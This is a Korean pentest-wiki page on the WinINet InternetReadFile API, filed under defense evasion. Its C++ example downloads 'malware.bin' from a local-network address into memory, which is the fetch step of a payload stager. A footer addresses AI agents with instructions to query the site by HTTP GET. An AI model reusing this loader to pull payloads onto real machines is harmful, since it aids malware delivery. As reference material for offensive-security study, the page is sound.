# InternetReadFile

InternetReadFile 함수는 InternetOpenUrl와 같은 함수에서 획득한 핸들에서 데이터를 읽습니다.

```cpp
BOOL InternetReadFile(
  [in]  HINTERNET hFile,
  [out] LPVOID    lpBuffer,
  [in]  DWORD     dwNumberOfBytesToRead,
  [out] LPDWORD   lpdwNumberOfBytesRead
);
```

| 인자                    | 설명                          | 보편적인 값                   |
| --------------------- | --------------------------- | ------------------------ |
| hFile                 | InternetOpenUrl이 반환한 URL 핸들 |                          |
| lpBuffer              | 읽은 데이터를 저장할 버퍼              | buffer                   |
| dwNumberOfBytesToRead | 한 번에 읽을 최대 바이트 수            | sizeof(buffer) //보통 4096 |
| lpdwNumberOfBytesRead | 실제로 읽은 바이트 수                |                          |

## Example

```cpp
#include <windows.h>
#include <wininet.h>
#include <iostream>
#pragma comment(lib, "wininet.lib")
using namespace std;

unsigned char* downloadBinary(const char* serverAddr, DWORD* outSize) {
	// nullptr 예외처리
	if (!outSize) {
		wcout << L"outSize is null" << endl;
		return nullptr;
	}
	*outSize = 0;

	// 브라우저 핸들 생성
	HINTERNET hInternet = InternetOpenA(
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
		INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
	);
	// 브라우저 핸들 생성 실패 예외처리
	if (!hInternet) {
		wcout << L"Failed to get Internet handle" << endl;
		return nullptr;
	}

	// 브라우저 url 접속 핸들 생성
	HINTERNET hUrl = InternetOpenUrlA(
		hInternet, serverAddr, NULL, 0,
		INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0
	);
	// 브라우저 url 접속 핸들 생성 실패 예외처리
	if (!hUrl) {
		wcout << L"Failed to get InternetOpenUrl handle" << endl;
		InternetCloseHandle(hInternet);
		return nullptr;
	}

	// 다운로드 받을 버퍼, 읽은 바이트 변수 지정
	DWORD bytesRead = 0;
	BYTE buffer[4096];
	string fullData;
	// 읽을 수 있는 바이트가 0일 때까지 읽어서 fullData에 저장
	while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
		fullData.append((char*)buffer, bytesRead);
	}

	// 브라우저 핸들 종료
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hInternet);

	// 읽은 데이터가 빈값일 경우 예외 처리
	if (fullData.empty()) {
		return nullptr;
	}

	// 형변환을 위해 변수 이동
	unsigned char* result = new unsigned char[fullData.size()];
	memcpy(result, fullData.data(), fullData.size());
	*outSize = fullData.size();
	return result;
}

int main() {
    DWORD dataSize = 0;
    unsigned char* data = downloadBinary("http://192.168.0.102/malware.bin", &dataSize);
    if (data == nullptr) {
		    cout << "Failed to get a binary" << endl;
        return 0;
	}
    delete[] data;
    return 0;
}
```

## References

{% embed url="<https://learn.microsoft.com/ko-kr/windows/win32/api/wininet/nf-wininet-internetreadfile>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/defense-evasion/windows-api/internetreadfile.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
